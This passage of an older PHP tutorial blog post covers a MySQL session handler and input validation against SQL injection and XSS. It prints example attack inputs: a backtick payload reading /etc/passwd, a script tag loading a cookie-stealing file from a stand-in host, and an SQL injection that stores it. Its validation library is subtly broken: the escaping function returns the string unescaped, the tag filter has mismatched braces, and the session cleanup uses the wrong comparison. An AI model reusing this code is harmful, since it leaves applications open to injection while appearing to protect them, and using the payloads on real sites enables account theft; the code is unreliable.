  $query = "DELETE FROM `sessions` WHERE `session_expire` > \"" . time() - $this->max_time . "\"";
  $result = $handles['db']->dbQuery($handles['val']->ValidateSQL($query, $this->dbconn), $this->dbconn);
  if( ( is_resource( $result ) ) && ( $handles['db']->dbNumRowsAffected( $this->dbconn ) !== -1 ) ) {
   $this->reindex();
   return true;
  }
  return false;
 }
}

Some reasons to utilize a global session variables between your web pages could be to keep a persistent theme, or a specified region code or even to register an authenticated token which will allow your users access to register only data.

Here is a bit of code you can include on your pages to utilize the above classes.

// include the two classes we gave above
include 'class.database.php';
include 'class.sessions.php';

// register a variable as a handle of our database class
if(!is_resource($handles['dbconn'])) { $handles['dbconn'] = new database; }

// check to see if we have an existing session
if((!is_resource($handles['session'])&&(!isset($_SESSION))) { $handles['session'] = new sessions; }

// now register any variable you wish to persist between pages
$_SESSION['variable'] = 'we want this to follow our user from page to page';

And that is it for being able to change PHP's default session save handler from a flat file database to a MySQL database. I also want to mention one thing about the security of using sessions for sensitive data. Having worked with various companies one thing has become blazingly apparent in regards to an attack that first started back in the late 1990's regarding PHP's 'session_id()'. Change it every page your user visits to prevent a common attack known as 'session fixation'. This is very important if you are using server side session variables (whether it be a flat file session handler, a MySQL session handler or even an mcache session handler.

Here is an example to get you started:

// include the two classes we gave above
include 'class.database.php';
include 'class.sessions.php';

// register a variable as a handle of our database class
if(!is_resource($handles['dbconn'])) { $handles['dbconn'] = new database; }

// check to see if we have an existing session
if((!is_resource($handles['session'])&&(!isset($_SESSION))) { $handles['session'] = new sessions; }

// now register any variable you wish to persist between pages
$_SESSION['variable'] = 'we want this to follow our user from page to page';

// prevent session fixation attacks by changing the session_id()
$handles['session']->regen();

Web application security

Background

Having worked with web based technologies for the last 10+ years I have seen quite a few things come into play in regards to web applications. SQL injection, Cross-site scripting, session hijacking etc. etc.

I was contracted by Iomega Corporation back in 2000 to assist in performing white & black box testing on a new shopping cart application for their primary website. Load balancing, basic functionality, advanced functionality, etc.

I was able to complete my basic assessment fairly quickly as most of the basic and advanced functionality required nothing more then to test things like adding items to a cart, browsing for more items etc.

Once I was finished with my test cases I began to try other things in regards to base directory traversals, embedding cookie stealing code, and even methods of hijacking authenticated session tokens by emulating the servers session id strings. At the time these attacks all returned positive results indicating a complete lack of input validation on web forms as well as validations on registered users etc.

To rely on an untrusted web application that processes credit card transactions is to say the least very scary.

Validation of input data

One things I learned very early on is to never trust an end-user. That is not to say all end-users are going to be of malicious intent. Validating any and all input vectors on a web based form will account for those users that are visiting with malicious intent.

These days having an automated bot search your website to dynamically test input validation on is more prevalent then ever. In 2000 when I was performing load balancing on the servers functionality creating a simple script to parse the input fields and attempt blind SQL injection attacks was and still is very easy for anyone that has a little bit of time and coding ability. I do believe the kiddies these days are calling things like this 'fuzzing' or testing a site for strange behaviours that may lead to further attacks on the targeted site.

As I said, validating your input is very important and great place to start your research if you are new to web application development.

Lets say you have a simple contact form in which you wish to have users contact you via email. This is a pretty simple HTML form in which your users could submit information to you and is very common on just about every website on the internet.

<form action="contact.php" method="post" class="contact-form">
 <fieldset>
  <legend>Contact form</legend>
  <div>
   <input type="text" name="name" />
  </div>
  <div>
   <input type="text" name="email" />
  </div>
  <div>
   <textarea name="comments" /></textarea>
  </div>
  <div>
   <input type="submit" name="send" value="Contact" />
  </div>
 </fieldset>
</form>

Very simple and basic form to process feedback from a web page. The action argument to this form will send data to the file 'contact.php'. This file could do a variety of things. It could accept the users input and immediately send an email to the administrator of the webpage, it could place this information within a database or it could do both.

Let me show you an example of using this form to place the information within a MySQL database table. First I will show you the table's structure:

CREATE TABLE `feedback` (
  `id` int(255) NOT NULL auto_increment,
  `date` varchar(25) NOT NULL default '',
  `ip` varchar(80) NOT NULL default '',
  `port` int(255) NOT NULL default '0',
  `name` varchar(45) NOT NULL default '',
  `email` varchar(60) NOT NULL default '',
  `comment` longtext NOT NULL,
  PRIMARY KEY  (`id`),
  UNIQUE KEY `ip` (`ip`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

Using this type of database structure you can allow easy access to any comments left using the form described above. Emails may be lost but by utilizing a data storage repository you can account for any comments left for your site's administrators.

Now lets say the file 'contact.php' which is specified as the file which will handle the user input does not validate the input prior to displaying the contents in which the user displayed but also attempted to store the information within the database.

Our user decided to embed some code something similar to the following

<?PHP `cat /etc/passwd`; ?>

Ooops, we now have a list of user name's on the server in which we can use widely available tools to guess or brute force user name and password combinations leading to further attacks such as a kernel module which logs keystrokes and emails the results to our anonymous email account.

Now lets say the user simply wants to embed a javascript file hosted on a remote server which can be used to sniff authentication credentials of any other users visiting the contact form.

<?PHP
echo "<script src=\"http://www.evil-server.com/steal-cookies.js\" /></script>";
?>

Or something even more nefarious like sending mass emails to people with a URL like the following.

<a href="http://www.our-server.com/contact.php?<script src=\"http://www.evil-server.com/steal-cookies.js\" /></script>">Click our link for great coupons!</a>

Because the file processing our contact form does not validate any of the global $_GET or $_POST variables they are welcoming all sorts of possible attacks. One of the more serious is something similar to the following in which we actually embed our javascript file residing on our remote server within the database to be openly processed by any user visiting our website.

--;UNION INSERT INTO `feedback` (`comments`) VALUES ('<a href="http://www.our-server.com/contact.php?<script src=\"http://www.evil-server.com/steal-cookies.js\" /></script>">Click our link for great coupons!</a>');

These are some very simple examples which can assist would be attackers from finding weak spots in your web forms. If you are developing any type of web facing form it is in your best interest to validate your input.

That being said here is a class to handle all sorts of input validation. From strings, alpha-numeric string combinations, integers, phone numbers (US), IP addresses, even SQL and XSS validation.

Data validation class

class validation
{
 var $data;
 var $string;
 var $integer;
 var $alphachar;
 var $money;
 var $phone;
 var $zipcode;
 var $ip_v4;
 var $ip_v6;
 var $mac_address;
 var $domain;
 var $hostname;
 var $paragraph;
 var $password;
 var $uri;
 var $db;
 var $sql;
 var $xss;

 public function ValidateString( $string )
 {
  if( ( eregi( "^[a-z]{1,35}$", $string ) ) || ( empty( $string ) ) ) {
   $data->string = 0;
  } else {
   $data->string = -1;
  }
  return $data->string;
 }

 public function ValidateInteger( $integer )
 {
  if( ( eregi( "^[0-9]{1,20}$", $integer ) ) || ( empty( $integer ) ) ) {
   $data->integer = 0;
  } else {
   $data->integer = -1;
  }
  return $data->integer;
 }

 public function ValidateAlphaChar( $alphachar )
 {
  if( ( eregi( "^[0-9a-z_]{1,45}$", $alphachar ) ) || ( empty( $alphachar ) ) ) {
   $data->alphachar = 0;
  } else {
   $data->alphachar = -1;
  }
  return $data->alphachar;
 }

 public function ValidateMoney( $money )
 {
  if( ( eregi( "^[0-9]{1,4}\.[0-9]{2}$", $money ) ) || ( empty( $money ) ) ) {
   $data->money = 0;
  } else {
   $data->money = -1;
  }
  return $data->money;
 }
 
 public function ValidateDecimal( $decimal )
 {
  if( ( is_numeric( $decimal ) ) || ( empty( $decimal ) ) ) {
   $data->decimal = 0;
  } else {
   $data->decimal = -1;
  }
  return $data->decimal;
 }

 public function ValidatePhone( $phone )
 {
  if( ( eregi( "^[0-9]{3}\-[0-9]{3}\-[0-9]{4}$", $phone ) ) || ( empty( $phone ) ) ) {
   $data->phone = 0;
  } else {
   $data->phone = -1;
  }
  return $data->phone;
 }

 public function ValidateZip( $zipcode )
 {
  if( ( eregi( "^[0-9]{5}$", $zipcode ) ) || ( empty( $zipcode ) ) ) {
   $data->zipcode = 0;
  } else {
   $data->zipcode = -1;
  }
  return $data->zipcode;
 }

 public function ValidateIPv4( $ip_v4 = NULL )
 {
  $ip_v4 = rtrim( $ip_v4 );
  if( ( eregi( "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", $ip_v4 ) ) || ( empty( $ip_v4 ) ) ) {
   $data->ip_v4 = 0;
   for( $i = 1; $i <= 3; $i++ ) {
    if( !( substr( $ip_v4, 0, strpos( $ip_v4, "." ) ) >= "0" && substr( $ip_v4, 0, strpos( $ip_v4, "." ) ) <= "255" ) ) {
     $data->ip_v4 = -1;
    }
    $ip_v4 = substr( $ip_v4, strpos( $ip_v4, "." ) + 1 );
   }
   if( !( $ip_v4 >= "0" && $ip_v4 <= "255" ) ) {
    $data->ip_v4 = -1;
   }
  } else {
   $data->ip_v4 = -1;
  }
  return $data->ip_v4;
 }

 public function ValidateIPv6( $ip_v6 )
 {
  $data->ip_v6 = 0;
  return $data->ip_v6;
 }

 function ValidateEmail( $email )
 {
  if( ( eregi( "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,5})$", $email ) ) || ( empty( $email ) ) ) {
   $data = 0;
  } else {
   $data = -1;
  }
  return $data;
 }

 public function ValidateMACFormats( $mac_address = NULL )
 {
  $mac_address = rtrim( $mac_address );
  if( eregi( "^[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $mac_address;
  } elseif( eregi( "^[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( eregi( "^[0-9a-f]{12}$", $mac_address ) ) {
   $data->mac_address = $this->FixMACAddr( $mac_address );
  } elseif( ( eregi( "^[0-9a-z/-/_]{1,35}$", $mac_address ) ) || ( eregi( "^[0-9a-z]{1,35}$", $mac_address ) ) ) {
   $data->mac_address = -1;
  } elseif( eregi( "^[0-9a-z%-_:.]{1,45}$", $mac_address ) ) {
   $data->mac_address = -1;
  } elseif( eregi( "[g-z]", $mac_address ) ) {
   $data->mac_address = -1;
  } else {
   $data->mac_address = -1;
  }
  return $data->mac_address;
 }

 public function FixMACAddr( $mac_address = NULL )
 {
  if( eregi( "^[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = $mac_address;
  } elseif( eregi( "^[0-9a-f]{12}$", $mac_address ) ) {
   $data->mac_address = str_split( $mac_address, 2 );
   $data->mac_address = implode( ':', $data->mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}\-[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = str_replace( '-', ':', $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}\_[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = str_replace( '_', ':', $mac_address );
  } elseif( eregi( "^[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}\.[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = str_replace( '.', ':', $mac_address );
  } elseif( eregi( "[g-z]", $mac_address ) ) {
   $data->mac_address = -1;
  } elseif( !eregi( "^[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}\:[0-9a-f]{2}$", $mac_address ) ) {
   $data->mac_address = -1;
  }
  return $data->mac_address;
 }

 public function ValidateDomain( $domain )
 {
  if( ( eregi( "^[a-z0-9.]+$", $domain ) ) || ( empty( $domain ) ) ) {
   if( ( @checkdnsrr( $domain, "A" ) ) || ( $this->ValidateHostname( $domain ) !== -1 ) || ( $this->ValidateIPv4( $domain ) !== -1 ) || ( $this->ValidateHostnameNonRFC( $domain ) !== -1 ) ) {
    $data->domain = 0;
   } else {
    $data->domain = -1;
   }
  } else {
   $data->domain = -1;
  }
  return $data->domain;
 }

 public function ValidateParagraph( $paragraph )
 { 
  if( ( eregi( "[ -!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~<>.,]", $paragraph ) ) || ( empty( $paragraph ) ) ) {
   $data->paragraph = 0;
  } else {
   $data->paragraph = -1;
  }
  return $data->paragraph;
 }

 public function ValidatePassword( $password )
 {
  if( ( eregi( "[-!#$%&+.0-9=?A-Z_]", $password ) ) || ( empty( $password ) ) ) {
   $data = 0;
  } else {
   $data = -1;
  }
  return $data;
 }

 public function ValidateDate( $date )
 {
  if( ( eregi( "[0-9]{4}\-[0-9]{2}\-[0-9]{2} [0-9]{2}\:[0-9]{2}\:[0-9]{2}$", $date ) ) || ( empty( $date ) ) ) {
   $data = 0;
  } else {
   $data = -1;
  }
  return $data;
 }

 public function ValidatePasswordFields( $password_1, $password_2 )
 {
  $data = 0;
  if( ( $password_1 !== $password_2 ) || ( strcmp( $password_1, $password_2 ) ) ) {
   $data = -1;
  } else {
   if( !eregi( "^[-!#$@%&\'*+\\./0-9=?A-Z^_`a-z{|}~<>]{5,25}$", $password_1 ) ) {
    $data = -2;
   }
   if( ( $password_1 === "************" ) || ( $password_1 === "************" ) ) {
    $data = -3;
   }
  }
  return $data;
 }
 public function ValidateURI( $uri )
 {
  $prefix = "[[http://]|[https://]]";
  $domain = "([a-z0-9][-[:alnum:]]*[[:alnum:]] )(\.[[:alpha:]][-[:alnum:]]*[[:alpha:]] )+";
  $dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]] )*";
  $page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
  $getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)(&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+) )*)?";
  $pattern = $prefix . $domain . $dir . $page . $getstring;
  if( eregi( $pattern, $uri ) ) {
   $data->uri = 0;
  } else {
   $data->uri = -1;
  }
  return $data->uri;
 }

 public function ValidateSQL( $sql, $db )
 {
  $data = new InputFilter();
  $data->sql = $data->safeSQL( $sql, $db );
  return $data->sql;
 }

 public function ValidateXSS( $xss )
 {
  $data = new InputFilter();
  $data->xss = $data->process( $xss );
  return $data->xss;
 }

 function html2txt( $document ) {
  $search = array('@]*?>.*?@si',
                  '@]*?>.*?@siU',
                  '@<[\/\!]*?[^<>]*?>@si',
                  '@@'
                 );
  $text = preg_replace( $search, '', $document );
  return $text;
 }
}

/*
 * class: InputFilter (PHP5-Strict without comments)
 * contributors: Gianpaolo Racca, Ghislain Picard, Marco Wandschneider, Chris Tobin and Andrew Eddie.
 * copyright: Daniel Morris
 */
class InputFilter {
 protected $tagsArray;
 protected $attrArray;
 protected $tagsMethod;
 protected $attrMethod;
 protected $xssAuto;
 protected $tagBlacklist = array( 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml' );
 protected $attrBlacklist = array( 'action', 'background', 'codebase', 'dynsrc', 'lowsrc' );

 public function __construct( $tagsArray = array(), $attrArray = array(), $tagsMethod = 0, $attrMethod = 0, $xssAuto = 1 ) {
  for( $i = 0; $i < count( $tagsArray ); $i++ ) $tagsArray[$i] = strtolower( $tagsArray[$i] );
  for( $i = 0; $i < count( $attrArray ); $i++ ) $attrArray[$i] = strtolower( $attrArray[$i] );
  $this->tagsArray = ( array ) $tagsArray;
  $this->attrArray = ( array ) $attrArray;
  $this->tagsMethod = $tagsMethod;
  $this->attrMethod = $attrMethod;
  $this->xssAuto = $xssAuto;
 }

 public function process( $source ) {
  if( is_array( $source ) ) {
   foreach( $source as $key => $value )
    if( is_string( $value) ) $source[$key] = $this->remove( $this->decode( $value ) );
   return $source;
  } elseif( is_string( $source ) ) {
   return $this->remove( $this->decode( $source ) );
  } else return $source;
 }

 protected function remove( $source ) {
  $loopCounter=0;
  while( $source != $this->filterTags( $source ) ) {
   $source = $this->filterTags( $source );
   $loopCounter++;
  }
  return $source;
 } 

 protected function filterTags( $source ) {
  $preTag = NULL;
  $postTag = $source;
  $tagOpen_start = strpos( $source, '<' );
  while( $tagOpen_start !== FALSE ) {
   $preTag .= substr( $postTag, 0, $tagOpen_start );
   $postTag = substr( $postTag, $tagOpen_start );
   $fromTagOpen = substr( $postTag, 1 );
   $tagOpen_end = strpos( $fromTagOpen, '>' );
   if( $tagOpen_end === false ) break;
   $tagOpen_nested = strpos( $fromTagOpen, '<' );
   if( ( $tagOpen_nested !== false ) && ( $tagOpen_nested < $tagOpen_end) ) {
    $preTag .= substr( $postTag, 0, ( $tagOpen_nested+1 ) );
    $postTag = substr( $postTag, ( $tagOpen_nested+1 ) );
    $tagOpen_start = strpos( $postTag, '<' );
    continue;
   } 
   $tagOpen_nested = ( strpos( $fromTagOpen, '<' ) + $tagOpen_start + 1 );
   $currentTag = substr( $fromTagOpen, 0, $tagOpen_end );
   $tagLength = strlen( $currentTag );
   if( !$tagOpen_end ) {
    $preTag .= $postTag;
    $tagOpen_start = strpos( $postTag, '<' );
   }
   $tagLeft = $currentTag;
   $attrSet = array( );
   $currentSpace = strpos( $tagLeft, ' ' );
   if(substr( $currentTag, 0, 1) == "/" ) {
    $isCloseTag = TRUE;
    list( $tagName ) = explode( ' ', $currentTag );
    $tagName = substr( $tagName, 1 );
   } else {
    $isCloseTag = FALSE;
    list( $tagName ) = explode( ' ', $currentTag );
   }  
   if( (!preg_match( "/^[a-z][a-z0-9]*$/i", $tagName ) ) || ( !$tagName ) || ( (in_array( strtolower( $tagName ), $this->tagBlacklist ) ) && ( $this->xssAuto ) ) ) {
    $postTag = substr( $postTag, ( $tagLength + 2 ) );
    $tagOpen_start = strpos( $postTag, '<' );
    continue;
   }
   while( $currentSpace !== FALSE ) {
    $fromSpace = substr( $tagLeft, ( $currentSpace + 1 ) );
    $nextSpace = strpos( $fromSpace, ' ' );
    $openQuotes = strpos( $fromSpace, '"' );
    $closeQuotes = strpos( substr( $fromSpace, ( $openQuotes + 1 ) ), '"' ) + $openQuotes + 1;
    if( strpos( $fromSpace, '=' ) !== FALSE ) {
     if( ( $openQuotes !== FALSE ) && ( strpos( substr( $fromSpace, ( $openQuotes + 1 ) ), '"' ) !== FALSE ) ) {
      $attr = substr( $fromSpace, 0, ( $closeQuotes+1 ) );
     } else {
      $attr = substr( $fromSpace, 0, $nextSpace );
     }
    } else {
     $attr = substr( $fromSpace, 0, $nextSpace );
    }
    if( !$attr ) $attr = $fromSpace;
    $attrSet[] = $attr;
    $tagLeft = substr( $fromSpace, strlen( $attr ) );
    $currentSpace = strpos( $tagLeft, ' ' );
   }
   $tagFound = in_array( strtolower( $tagName ), $this->tagsArray );
   if( (!$tagFound && $this->tagsMethod ) || ( $tagFound && !$this->tagsMethod ) ) {
    if( !$isCloseTag ) {
     $attrSet = $this->filterAttr( $attrSet );
     $preTag .= '<' . $tagName;
     for( $i = 0; $i < count( $attrSet ); $i++ )
      $preTag .= ' ' . $attrSet[$i];
      if( strpos( $fromTagOpen, "</" . $tagName ) ) 
       $preTag .= '>';
      } else {
       $preTag .= ' /<';
      }
      $preTag .= '</' . $tagName . '>';
     }
    }
   }
   $postTag = substr( $postTag, ( $tagLength + 2 ) );
   $tagOpen_start = strpos( $postTag, '<' );
  }
  $preTag .= $postTag;
  return $preTag;
 }

 protected function filterAttr( $attrSet ) {
  $newSet = array( );
  for( $i = 0; $i < count( $attrSet ); $i++ ) {
   if( !$attrSet[$i] ) continue;
   $attrSubSet = explode( '=', trim( $attrSet[$i] ) );
   list( $attrSubSet[0] ) = explode( ' ', $attrSubSet[0] );
   if( ( !eregi("^[a-z]*$",$attrSubSet[0] ) ) || ( ( $this->xssAuto ) && ( (in_array( strtolower( $attrSubSet[0] ), $this->attrBlacklist ) ) || ( substr( $attrSubSet[0], 0, 2 ) == 'on' ) ) ) )
    continue;
   if( $attrSubSet[1] ) {
    $attrSubSet[1] = str_replace( '&#', '', $attrSubSet[1] );
    $attrSubSet[1] = preg_replace( '/\s+/', '', $attrSubSet[1] );
    $attrSubSet[1] = str_replace( '"', '', $attrSubSet[1] );
    if( (substr( $attrSubSet[1], 0, 1 ) == "'" ) && ( substr( $attrSubSet[1], ( strlen( $attrSubSet[1] ) - 1 ), 1 ) == "'" ) )
     $attrSubSet[1] = substr( $attrSubSet[1], 1, ( strlen( $attrSubSet[1] ) - 2 ) );
    $attrSubSet[1] = stripslashes( $attrSubSet[1] );
   }
   if( ( ( strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false ) && ( strtolower( $attrSubSet[0] ) == 'style' ) ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false ) ||
     ( strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false )
  ) continue;
   $attrFound = in_array( strtolower( $attrSubSet[0] ), $this->attrArray );
   if( (!$attrFound && $this->attrMethod ) || ( $attrFound && !$this->attrMethod) ) {
    if( $attrSubSet[1] ) $newSet[] = $attrSubSet[0] . '="' . $attrSubSet[1] . '"';
    elseif( $attrSubSet[1] == "0") $newSet[] = $attrSubSet[0] . '="0"';
    else $newSet[] = $attrSubSet[0] . '="' . $attrSubSet[0] . '"';
   } 
  }
  return $newSet;
 }

 protected function decode( $source ) {
  $source = html_entity_decode( $source, ENT_QUOTES, "ISO-8859-1" );
  $source = preg_replace( '/&#(\d+ );/me',"chr(\\1)", $source );    // decimal notation
  $source = preg_replace( '/&#x([a-f0-9]+ );/mei',"chr(0x\\1)", $source ); // hex notation
  return $source;
 }

 public function safeSQL( $source, &$connection ) {
  if( is_array( $source ) ) {
   foreach( $source as $key => $value )
    if( is_string( $value) ) $source[$key] = $this->quoteSmart( $this->decode( $value ), $connection );
   return $source;
  } elseif( is_string( $source ) ) {
   if( is_string( $source ) ) return $this->quoteSmart( $this->decode( $source ), $connection );
  } else return $source;
 }

 protected function quoteSmart( $source, &$connection ) {
  if(get_magic_quotes_gpc() ) $source = stripslashes( $source );
  $source = $this->escapeString( $source, $connection );
  return $source;
 }

 protected function escapeString( $string, &$connection ) {
  if( version_compare( phpversion(),"4.3.0", "<" ) ) @mysql_escape_string( $string );
  else @mysql_real_escape_string( $string );
  return $string;
 }
}

A very simple method of using this class to validate any and all global variables would be something like the following on each page of your web application

// include the class and register a handle
require 'class.validate.php';
$val = new validate;

// copy validated globals to localized variables
$get = array_map($val->ValidateXSS, $_GET);
$post = array_map($val->ValidateXSS, $_POST);
$sess = array_map($val->ValidateXSS, $_SESSION);
$serv = array_map($val->ValidateXSS, $_SERVER);
$req = array_map($val->ValidateXSS, $_REQUEST);

// use the validated copy of our globals
foreach($get as $key => $value) {
 echo $key . ' => ' . $value . '<br />';
}

I hope this helps some of you that are just starting out in web application development. Having never went to school for programming it took a lot of research for myself to pull these things together in order to make a somewhat more secure layer within my applications.

Return top